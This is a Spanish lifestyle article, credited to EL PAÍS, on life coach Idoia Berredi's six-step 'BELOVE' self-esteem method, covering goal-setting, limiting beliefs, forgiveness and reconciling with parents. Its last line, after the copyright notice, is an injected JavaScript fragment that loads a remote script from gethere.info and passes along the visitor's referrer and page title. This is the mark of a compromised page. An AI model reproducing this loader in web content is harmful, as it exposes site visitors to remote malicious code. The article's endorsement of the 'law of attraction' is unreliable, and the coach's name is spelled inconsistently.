Tener un plan de acción, desterrar falsas creencias, perdonar culpas y reconciliarnos con nuestros padres sería el camino
MADRID.- Cuando uno acude a un psicólogo, generalmente por un problema externo como la familia, el trabajo, la pareja o su vida social, descubre que generalmente parte del conflicto está en nosotros. Porque si bien es necesario trabajar las relaciones con los demás, poco o nada nos enseñan respecto a trabajar las relaciones que tenemos con la persona que nos va a acompañar toda la vida: uno mismo.
Esa es la idea en la que pretende ahondar el llamado Método BELOVE, de la life coach Idoia Berredi, que tal y como resume en un nuevo libro con el mismo nombre “se trata de ser-estar en amor porque, cuando me amo como soy, estoy en paz, satisfecha, contenta y con ilusión”. Según la coach, lo que define a este método es que “ayuda a conocer las creencias que te están limitando y a reprogramar ideas que te conduzcan a conseguir todo lo que deseas”.
Evidentemente, no todo lo que deseamos se consigue a base de autoestima, pero ya se sabe que enfocarse en metas concretas es una buena forma de ayudarnos a conseguirlas. Por eso, según Bederri este método “no es para las personas que buscan una receta para solucionar los problemas por arte de magia”, sino para las personas que “tienen ya el impulso de mejorar un área de su vida, pero necesitan herramientas para llevar a cabo ese cambio”.
Así, la experta propone en su libro “seis pasos para vivir con autoestima, felicidad y éxito”:
1. Clarificar el objetivo: No se puede pretender arreglar todos los aspectos de nuestra vida de golpe, sino que como cualquier otra empresa, centrar nuestros esfuerzos en un objetivo nos hará más eficientes. En este sentido, Berredi explica que “en primer lugar lo que haremos es clarificar el objetivo, teniendo muy claro cómo y dónde estamos ahora mismo respecto al mismo, cómo queremos estar y qué tenemos que hacer para lograrlo”. Para conseguir una mayor motivación y ponernos de verdad manos a la obra y no dejarlo en una reflexión en una tarde tonta de domingo, la experta insiste en que también escribamos cómo nos sentiremos cuando consigamos ese objetivo y qué cosas serán diferentes en nuestra vida, para realmente tenerlas en cuenta.
2. Encontrar los obstáculos y creencias negativas: Una vez que tenemos claro qué queremos y cómo conseguirlo, hay que aceptar que el camino suele ser complejo y que va a haber obstáculos al respecto. Muchos de esos obstáculos serán nuestras propias creencias negativas. “Reconocerlas te ayudará a liberarte de esas ideas, prejuicios y autocríticas que han estado limitando tu vida, para poder transformarlas”. Para ello propone que escribamos en un papel nuestras ideas preconcebidas sobre los hombres, las mujeres, el amor, el sexo, el trabajo, el dinero, el fracaso, etc… Pero que también hagamos el mismo ejercicio sobre nosotros mismos, pensando lo que creemos que somos y lo que no somos, para después escribir las ideas que nos gustaría creer sobre estos mismos temas y también sobre nosotros, para cambiarlos.
3. Potenciar nuestras cualidades y recursos: Una cosa es pensar lo que somos y otra trabajar activamente en ello para potenciar nuestros puntos fuertes, que todos los tenemos. En este punto, la autora recurre a las cinco claves de la autoestima: mostrarme como soy, ser autónomo, saber poner límites (ni tantos que el otro no pueda acercarse, ni tan pocos que me invada), sentirse orgulloso de quien soy (simplemente por ser como soy, independientemente de mis logros) y saber recibir bien lo que me dan, sabiendo que me lo merezco (sea por lo que soy o por lo que hago). Igualmente, insiste en que otro punto importante es la “sanación del niño interior” que “es la parte de nosotros que representa nuestras emociones y nuestro subconsciente y que tiene un gran poder sobre nuestra vida, nuestras reacciones y el modo en el que nos sentimos”. Para ello hay que equilibrar las obligaciones (trabajar, limpiar la casa, cuidado de la familia, estudiar) con las necesidades de diversión y de tiempo de conexión con uno mismo.
4. Perdonarse a uno mismo y a los demás: Nos guste más o menos, vivimos en una sociedad judeo cristiana y el concepto de la culpa está implícito en nuestra forma de vivir. El problema de la culpa es que “busca un castigo y ese castigo puede ser negarnos lo que realmente queremos”. Perdonarnos no siempre es fácil, porque para empezar “hay ocasiones en las que la persona no sabe ni por qué se originó la culpa, la mayoría de las veces el sentimiento de culpa surgió en la infancia, cuando alguno de nuestros familiares más cercanos nos reprendió por algo que hicimos y nos sentimos malos o culpables. Aquello se quedó registrado en el cerebro y ahora se activa automáticamente con situaciones parecidas”. Para avanzar en este punto, la coach propone hacer una lista clara de todas las cosas que no nos hemos perdonado, pero también de todas las personas a las que todavía no hemos perdonado, para decir en alto todo aquello que nos dolió, lo que nos merecíamos, lo que hay en nosotros que nos atrajo a esa circunstancia y por último, perdonarnos a ambos por aquello.
5. Reconciliarnos con nuestros padres: Suele pasar, cuando te pones a indagar en tus problemas y en por qué nos duelen algunas cosas o hacemos otras, acaba saliendo a relucir algún recuerdo con nuestros padres. Quizás porque también tenemos ideas preconcebidas respecto a ellos que tenemos que cambiar. “Nuestros padres nos dieron todo lo que tenían, cosas que consideramos buenas y otras que nos parecen malas, pero la verdad, es que fuera como fuera, nos dieron todo lo que tenían”, aclara Berridi. Así, entendiendo que esto se aplica a situaciones comunes y no a casos extremos de conflictos familiares, pone el ejemplo de que si tenemos unos padres poco cariñosos y afectivos, porque nadie fue afectivo con ellos, no hay que frustrarse ni sentirse víctima, sino entender por qué fue así, y buscar ese afecto en quién sí nos lo ofrece. “La forma de no seguir esa cadena que continúa es amar todo lo que viene de nuestros padres, aceptarlos y estar en paz con ellos tal como son”. Todo ello nos ayudará a sanar nuestras heridas infantiles y “dejar de ser la niña que se sabotea a la adulta que se realiza a sí misma”.
6. Construir el futuro: Si ya hemos clarificado nuestras ideas y dejado atrás lo que nos impedía alcanzarlas, parece claro que el último paso esté dedicado a crear un plan para alcanzar aquello que queremos, bien sea un trabajo mejor, mejorar nuestra relación con alguien o simplemente conseguir una mayor estabilidad emocional con nosotros mismos. La idea de nuevo es ir por pasos, es decir, marcarnos no solo un objetivo final, sino pequeñas metas semanales. Así, la life coach propone, por ejemplo, en la primera semana definir 10 cosas que nos hagan sentir bien y proponernos llevar a cabo al menos 3. La segunda semana hacer aquello que por pensamientos negativos nunca hacemos, por ejemplo, si no llamamos a alguien para quedar porque pensamos que nos dirá que está ocupado, proponernos escribirle con un plan que seguro que le gustará. En definitiva, “realizar un plan mental que tenga como meta final alcanzar nuestro objetivo”, pensando además en la ley de la atracción, es decir, que nuestros pensamientos, ideas y actuaciones atraen ciertas cosas a nuestra vida. © EL PAÍS, SL. Todos los derechos reservados.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;